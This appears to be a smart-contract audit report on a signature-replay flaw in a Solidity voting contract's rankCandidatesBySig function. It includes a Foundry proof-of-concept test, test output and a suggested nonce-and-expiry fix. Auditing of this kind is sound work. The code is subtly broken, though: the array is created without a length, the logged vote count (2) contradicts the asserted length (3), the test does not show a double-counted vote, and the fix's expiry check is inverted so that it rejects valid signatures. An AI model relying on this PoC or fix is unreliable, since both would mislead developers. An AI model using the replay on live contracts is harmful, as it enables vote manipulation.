Summary
The rankCandidatesBySig function is vulnerable to signature reuse, allowing potential replay attacks that could manipulate voting outcomes.
Vulnerability Details
The rankCandidatesBySig function allows users to submit votes using a signature but lacks proper protection against signature reuse. The relevant code is as follows:
function rankCandidatesBySig(
address[] memory orderedCandidates,
bytes memory signature
) external {
bytes32 structHash = keccak256(abi.encode(TYPEHASH, orderedCandidates));
bytes32 hash = _hashTypedDataV4(structHash);
address signer = ECDSA.recover(hash, signature);
_rankCandidates(orderedCandidates, signer);
}
The function verifies the signature and executes the vote, but it doesn't include any mechanism to prevent the same signature from being used multiple times. This oversight allows for potential replay attacks.
Impact
Vote Manipulation: A Malicious Voter could reuse a valid signature multiple times inflating the vote count for certain candidates.
Lack of Democracy: The integrity of the voting process is compromised.
Results Manipulation: The final election outcome could be significantly altered, not reflecting the true intentions of the voters.
In addition to the mentioned impact, the issue presents 3 more possible attack scenarios:
A malicious voter could reuse signatures from other voters who share the same first ranked candidate. This could significantly boost the chances of a particular candidate especially in a close race.
A malicious voter could create their own signature with their preferred candidate list and reuse it multiple times. This gives the malicious voter multiple votes, greatly increasing the voter's voting power.
The issue allows for signature reuse not just immediately, but in future voting rounds as well. This could lead to long-term manipulation of the voting process across multiple elections or voting periods.
Proof Of Concept
A Foundry test that demonstrates the issue:
pragma solidity 0.8.24;
import {Test, console2} from "forge-std/Test.sol";
import {RankedChoice} from "../src/RankedChoice.sol";
contract RankedChoiceTest is Test {
RankedChoice public rankedChoice;
address[] public voters;
address[] public candidates;
function setUp() public {
for (uint256 i = 0; i < 5; i++) {
voters.push(address(uint160(i + 1)));
candidates.push(address(uint160(i + 100)));
}
rankedChoice = new RankedChoice(voters);
}
function testSignatureReuse() public {
address voter = voters[0];
address[] memory orderedCandidates = new address[]();
orderedCandidates[0] = candidates[0];
orderedCandidates[1] = candidates[1];
orderedCandidates[2] = candidates[2];
bytes32 domainSeparator = rankedChoice.DOMAIN_SEPARATOR();
bytes32 structHash = keccak256(abi.encode(rankedChoice.TYPEHASH(), orderedCandidates));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
(uint8 v, bytes32 r, bytes32 s) = vm.sign(1, digest);
bytes memory signature = abi.encodePacked(r, s, v);
vm.prank(address(0));
rankedChoice.rankCandidatesBySig(orderedCandidates, signature);
vm.prank(address(0));
rankedChoice.rankCandidatesBySig(orderedCandidates, signature);
address[] memory voterRanking = rankedChoice.getUserCurrentVote(voter);
assertEq(voterRanking.length, 3, "Vote should be counted");
assertEq(voterRanking[0], candidates[0], "First candidate should match");
assertEq(voterRanking[1], candidates[1], "Second candidate should match");
assertEq(voterRanking[2], candidates[2], "Third candidate should match");
console2.log("Vote count for voter:", voterRanking.length);
}
}
When running this test, we get the following result:
➜ 2024-09-president-elector git:(main) ✗ forge test --match-test testSignatureReuse -vvv
[⠔] Compiling...
[⠒] Compiling 1 files with 0.8.24
[⠃] Solc 0.8.24 finished in 3.05s
Compiler run successful!
Running 1 test for test/RankedChoiceTest.t.sol:RankedChoiceTest
[PASS] testSignatureReuse() (gas: 246023)
Logs:
Vote count for voter: 2
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.87ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
Tools Used
Recommendations
To mitigate this issue, we can implement the following changes:
-
Introduce a nonce system:
Add a mapping to track nonces for each voter: mapping(address => uint256) private s_nonces;
Include the nonce in the signature data.
Increment the nonce after each successful vote.
-
Add an expiration time for signatures to limit their validity period.
ERRORS
error RankedChoice__Invalid_Nonce();
error RankedChoice__ExpiredSignature();
function rankCandidatesBySig(
address[] memory orderedCandidates,
uint256 nonce,
uint256 expiry,
bytes memory signature
) external {
if(block.timestamp <= expiry) {
revert RankedChoice__ExpiredSignature();
}
bytes32 structHash = keccak256(abi.encode(
TYPEHASH,
orderedCandidates,
nonce,
expiry
));
bytes32 hash = _hashTypedDataV4(structHash);
address signer = ECDSA.recover(hash, signature);
if(s_nonces[signer] != nonce) {
revert RankedChoice__Invalid_Nonce();
}
s_nonces[signer]++;
_rankCandidates(orderedCandidates, signer);
}
In addition to the fix mentioned, make sure you:
Implement a mechanism to ensure each voter can only have one active vote per voting round, regardless of the number of signatures submitted.
Consider adding a voting round identifier to the signature data to prevent cross-round signature reuse.